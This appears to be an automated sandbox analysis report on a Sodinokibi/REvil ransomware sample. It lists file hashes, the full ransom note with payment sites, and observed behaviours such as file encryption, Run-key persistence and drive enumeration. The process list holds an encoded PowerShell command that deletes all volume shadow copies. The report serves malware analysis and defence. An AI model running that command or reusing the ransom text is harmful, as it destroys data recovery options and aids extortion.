Analysis
- max time kernel
192s - max time network
190s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
24/01/2022, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
- Target c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe
- Size 201KB
- Sample220124-bggtdahcc6
- SHA256 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5
- MD5 ccc2793bc8d73bd6771379ae5eff8c16
- SHA1 c194ebc9a23aa174c3817dd17c8791acd9d3b419
- SHA512 5f8630dfbcc0fb52a09d71fbd8881244c150c45f3e4c94caa49b109bdfd0ecb96dd8776aea74a52f498ea60fb13a2f5926424d4d065da4ed09b1b7d2415cd0c2
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Path
-
C:\h02s9x-readme.txt
-
sodinokibi
Ransom Note
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion h02s9x. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4DDA036E88C5E05F 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/4DDA036E88C5E05F Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: HbFdZ+NkpiF0d6f7huGtl3b45yL4ZPJ7sAYPYYkmaPACE6YWqx4y82NMZ1rL5+Ag CADnWLjwNGat4CKrv5Lmp1NjxkVmxZygsJ32e4m4pSyE1Tk+osf0d4nVtSaFx2OP BEZ7l68FSwQgL8AZ8YdtzYkMiZH2d9e8XquHbMMyHY9hR3LLOW22OvBr54rvDvJi a5rNTptJBotTRnnt1+hoxFLp+KRBVIz3NQT9QDJcM/hZ1hvsRtK/zlK4pz9ALQ9y gzYkY7kA+7lxkBN/zZRHPiKhGtwqlZw/OsLwR661EB86+M5s/a3Ldarpeqf7XqXo wCdU7kj1xSMbrYG8QT172Yr5HTz+b5mMrU2yP1wqs8quan2PqZEUEbxXysngy8EZ O9MHCtHfMOPjBXtPA78L2vSJ66Ow3DbPJF4BpN8GTwQNH4LJwTfgJnbNyOVzsJbr w8kQEK21vaDp7XQth0H9VIPNOqp43Lz9/GXpJMB8w/lSLyb6pPuMA08RcGfA1MSp Fu/3S5GVzsLFcVWr4qs7EXTxqhCbYB/15NLmaHroX9OmWxycPL0E4yaeKXUzIU4R EM6nCcnoFCi3dr6ElPNSMhT5gt1OH94+4AL/7uo7Z5yM1i5ubzTP6sLwwkitf7dC SGKuxtPQ3+SAHyGH/eJxYBHHhK9Ko6dQak6k4Sfsxhz4EUWcbGhewF5j6ePBoCYq xfY6BX+rtB7MJDwhAePavxn4GzSW2nFxjqu+CpizCPNNC8XCCatdxTR2QbeFTLdJ xdtGcGoyTOPFNguKwpgl5MUG6/Hle7q4jcvAkELisNNReL35r50LBaOGde5LUR4A TG/V8eFcaMD+ZwRuswR5toMwJp/+CPZGd/YVaYPK/8vM9AXIjpPuwur7rKv765IX g6vznyE5rc5rBLa/knacH2lpj6ZCUve1DI1i65zKAuuQGQ8+NE4AAMVAV//Vg8s/ U8e8tc2+xhYlbvYBdcA5ZF9zGdpNyRri29GiEbm6wwXF4D+rzGyihafONGuGyBzG XHw7P9UnBlcRaOzQpMctBR/r0Gc8bj1NB5OLPw4K65Ntaeg+yud+Z26vc6DykPgc 6sZw4SXKAr/cFP/zj9hZTyS15HfyMMAmPhRqiIocAThG3z9O+R+N6PtmGtGJoFfe CNyb4T2EsfH+z9c62U+Wii94JU+u/ZPA3JPDjgKS8XZiOn8iGL5pKnsIFOo5Zdiw No6AGQJ1mWtEYnkJ0D99KETnnIt/VGlnPSJwY0YlwKgNkq2QESbhK7rJmygv9luH YyWy4FAS7vl/mthx0eEk7w== Extension name: h02s9x ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4DDA036E88C5E05F
-
http://decryptor.cc/4DDA036E88C5E05F
Signatures
- Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\GetOut.png => \??\c:\users\admin\pictures\GetOut.png.h02s9x c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File renamed C:\Users\Admin\Pictures\MeasureEnter.raw => \??\c:\users\admin\pictures\MeasureEnter.raw.h02s9x c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe" c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\T: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\X: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\A: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\N: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\O: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\P: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\Q: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\Z: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\U: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\V: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\D: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\W: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\Y: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\G: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\H: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\J: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\K: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\M: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\R: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\B: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\E: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\F: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\I: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened (read-only) \??\L: c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\52q7.bmp" c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Drops file in Program Files directory 36 IoCs
description ioc Process File opened for modification \??\c:\program files\JoinBlock.xlsb c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\PingExit.mpeg c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\SelectSearch.ppt c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\EnterTest.mpv2 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\RemoveDisconnect.dib c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\SelectComplete.rtf c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\ClearOut.docm c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\ExpandLock.bmp c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\RepairConnect.au c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\SaveSwitch.dwfx c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\SwitchMerge.mht c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File created \??\c:\program files\h02s9x-readme.txt c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\InstallGroup.crw c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\LockClose.xls c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\MountEdit.easmx c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\RedoExport.ADTS c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\ResetDebug.xps c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\RestartConvertFrom.search-ms c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\UnlockProtect.js c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\CloseRepair.odp c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\ApproveUnregister.xps c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\EnableReceive.mpv2 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\HideClear.aif c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\PushRestart.js c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\StepRequest.wma c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File created \??\c:\program files (x86)\h02s9x-readme.txt c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\ConvertFromInvoke.vstm c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\FormatRequest.zip c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\LimitUse.dwg c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\NewSave.jpe c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\RedoStop.M2TS c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\CompressTrace.vssx c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\PublishReset.mpg c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\SplitInitialize.aifc c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\UnblockStop.mpeg2 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe File opened for modification \??\c:\program files\DisableResolve.mp3 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe Token: SeDebugPrivilege 4300 powershell.exe Token: SeBackupPrivilege 804 vssvc.exe Token: SeRestorePrivilege 804 vssvc.exe Token: SeAuditPrivilege 804 vssvc.exe Token: SeTakeOwnershipPrivilege 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3208 wrote to memory of 4300 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 72 PID 3208 wrote to memory of 4300 3208 c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe 72
Processes
-
C:\Users\Admin\AppData\Local\Temp\c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe"C:\Users\Admin\AppData\Local\Temp\c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4300
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4072
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:804